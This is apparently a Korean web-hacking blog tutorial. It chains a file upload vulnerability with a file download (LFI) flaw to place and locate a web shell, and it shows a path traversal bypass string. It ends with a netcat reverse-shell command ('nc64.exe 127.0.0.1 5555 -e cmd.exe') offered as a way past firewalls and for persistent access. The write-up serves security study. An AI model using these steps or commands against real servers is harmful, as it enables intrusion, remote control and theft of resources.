2024. 11. 15. 03:16ㆍWeb Security/웹 해킹
파일 업로드 취약점은 os command 취약점과 같은 영향을 서버에 미치지만, os command와 달리 많은 사이트에서 발생된다. 파일 업로드 취약점을 공부하다보면 몇가지 의문점이 생길 수 있다. 이에 리얼월드에 어떻게 취약점들이 연계되어 진행되는지 알아보도록 하겠다.
file upload 취약점
위 취약점의 경우 웹 디렉토리에 파일이 업로드 가능할 때, WAS가 업로드한 파일을 웹 스크립트로 받아드려 해석할 때 발생될 수 있는 취약점이다.
만약 웹 업로드 경로가 웹 디렉토리 외부에 업로드 된다면 위 취약점이 발생하지 않는다. 물론 upload../../web_dic/upload.php 와 같은 방식으로 우회하면 된다.
1. 웹 쉘 업로드 가능
2. 웹 쉘이 웹 디렉토리에 업로드 되어야 함
3. 웹 쉘이 접근 가능해야됨
웹 쉘이란?
웹 페이지에서 서버에 시스템 명령어를 내릴 수 있는 것이다. 공격용 악성스크립라고도 불린다.
이런한 웹 쉘은 시스템 함수를 사용하는 것이 특징이다.
공격은 아래 사진처럼 업로드 기능은 페이지가 존재할 경우, 진행될 수 있다.
아래 사진처럼 쉘 코드가 업로드 가능하다.
웹 쉘 코드 작성
웹 쉘 접근(파일 다운로드)
웹 쉘를 실행 시키면 된다. 실행시키기 위해서는 접근해야 된다. 하지만 구체적으로 어디에 우리의 파일이 존재하는지 모른다. 이때 파일 다운로드 취약점(LFI)을 이용하면 된다
파일 다운로드 받을 때 다음과 같은 경로에서 파일을 다운로드 받는다. download.php의 소스코드가 존재한다면 우리는 우리의 파일이 어디서 다운받고 있는지 확인이 가능하며, 추가적으로 우리 파일이 어디에 존재하는지 알 수 있다.
즉, 소스코드드를 다운받은 뒤에 우리의 파일의 찾고, 파일이 웹 디렉토리 밖에 위치한다면, 웹 디렉토리 안에 넣고, 웹 디렉토리 안에 있다면 접근하면 될 것이다.
파일 다운로드 취약점(LFI)
파일이 존재할 때
파일이 존재하지 않을 때
download.php와 command.php 소스코드
위를 통해서 다양한 정보를 알 수 있다.
웹 디렉토리
ㄴ command.php
ㄴ download.php
ㄴ upload
ㄴ shell_code.php
접근하여 dir 명령어를 내린 결과이다. 리눅의 경우 ls이다.
reverse shell
리버스 쉘 설정할 것이다.
리버스 쉘을 설정하는 이유는 방화벽에서 다양한 인바운드 트래픽을 필터링하고 있기에 더욱 쉽게 자원을 탈취하기 위함이 있다.
그 이외에도, 지속적이고 편한 접근을 위해서 리버스 쉘을 연결 시킨다.
리버스쉘에 사용되는 도구에는 netcat이 존재한다. netcat 파일을 업로드 해준다. (curl 명령어로 다운로드 받아도 됨)
netcat 다운로드 링크 : https://eternallybored.org/misc/netcat/
일단 netcat으로 5555포트로 리스닝을 해준다.
그 이후 nc64.exe 127.0.0.1 5555 -e cmd.exe 로 리버스 쉘을 연결한다(리눅스의 경우 bin/bash 나 bin/shell로 연결하면 됨)
리버스 쉘 연결됨.
'Web Security > 웹 해킹' 카테고리의 다른 글
ByPass WAF using HTTP header (0) | 2025.01.11 |
---|---|
PHP Session Poisoning using LFI (0) | 2025.01.09 |
blind sql injection (1) | 2024.10.29 |
sql injection CTF vs real world. finger print (0) | 2024.10.27 |
SQL injection 취약 부분 찾기 (0) | 2024.10.24 |